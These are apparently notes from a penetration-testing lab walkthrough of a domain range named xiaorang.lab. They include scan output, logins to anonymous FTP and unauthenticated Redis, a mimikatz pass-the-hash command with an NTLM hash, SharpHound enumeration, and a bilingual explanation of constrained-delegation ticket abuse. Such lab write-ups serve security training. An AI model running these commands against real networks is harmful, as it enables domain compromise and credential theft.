39.98.116.123:22 open
39.98.116.123:21 open
39.98.116.123:80 open
39.98.116.123:6379 open
[*] alive ports len is: 4start vulscan
[*] WebTitle http://39.98.116.123 code:200 len:4833 title:Welcome to CentOS
[+] ftp 39.98.116.123:21:anonymous
[->]pub
[+] Redis 39.98.116.123:6379 unauthorized file:/usr/local/redis/db/dump.rdb
有ftp和redis的未授权,链接一下
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lftp -u anonymous, 39.98.116.123
set ftp:charset GBK
redis-cli -h 39.98.116.123
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.34 is alive
(icmp) Target 172.22.2.16 is alive
[*] Icmp alive hosts len is: 5172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.16:445 open
172.22.2.18:445 open
172.22.2.34:445 open
172.22.2.3:445 open
172.22.2.16:139 open
172.22.2.34:139 open
172.22.2.18:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.16:135 open
172.22.2.3:135 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.3:88 open
[*] alive ports len is: 20start vulscan
[*] WebTitle http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] NetInfo
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] NetInfo
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] NetBios 172.22.2.3 [+] DC:DC.xiaorang.lab Windows Server 2016 Datacenter 14393[*] NetBios 172.22.2.34 XIAORANG\CLIENT01
[*] NetInfo
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] WebTitle http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetBios 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393[*] OsInfo 172.22.2.16 (Windows Server 2016 Datacenter 14393)[*] NetBios 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[*] OsInfo 172.22.2.3 (Windows Server 2016 Datacenter 14393)[+] ftp 172.22.2.7:21:anonymous
[->]pub
[*] WebTitle http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
sekurlsa::pth /user:MSSQLSERVER$ /domain:XIAORANG.LAB /ntlm:4f4be8211219a166ed7d4db9f3ea90f1
net user /domain
收集域内信息
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cd C:\Users\test1\Desktop
SharpHound.exe -c all
直接找到这个机器用户看到入站执行权限里面DC是他的受约束委派用户
In the following example, victim is the attacker-controlled account (i.e. the hash is known) that is configured for constrained delegation. That is, victim has the “HTTP/PRIMARY.testlab.local” service principal name (SPN) set in its msds-AllowedToDelegateTo property. The command first requests a TGT for the victim user and executes the S4U2self/S4U2proxy process to impersonate the “admin” user to the “HTTP/PRIMARY.testlab.local” SPN. The alternative sname “cifs” is substituted in to the final service ticket and the ticket is submitted to the current logon session. This grants the attacker the ability to access the file system of PRIMARY.testlab.local as the “admin” user.
在以下示例中,victim 是为受约束委派配置的攻击者控制的帐户(即哈希值是已知的)。也就是说,victim 在其 msds-AllowedToDelegateTo 属性中设置了“HTTP/PRIMARY.testlab.local”服务主体名称 (SPN)。该命令首先为 受害者 用户请求 TGT,并执行 S4U2self/S4U2proxy 进程,将“admin”用户模拟到“HTTP/PRIMARY.testlab.local”SPN。替代名称“cifs”将替换到最终服务票证中,并将票证提交到当前登录会话。这使攻击者能够以“admin”用户身份访问 PRIMARY.testlab.local 的文件系统。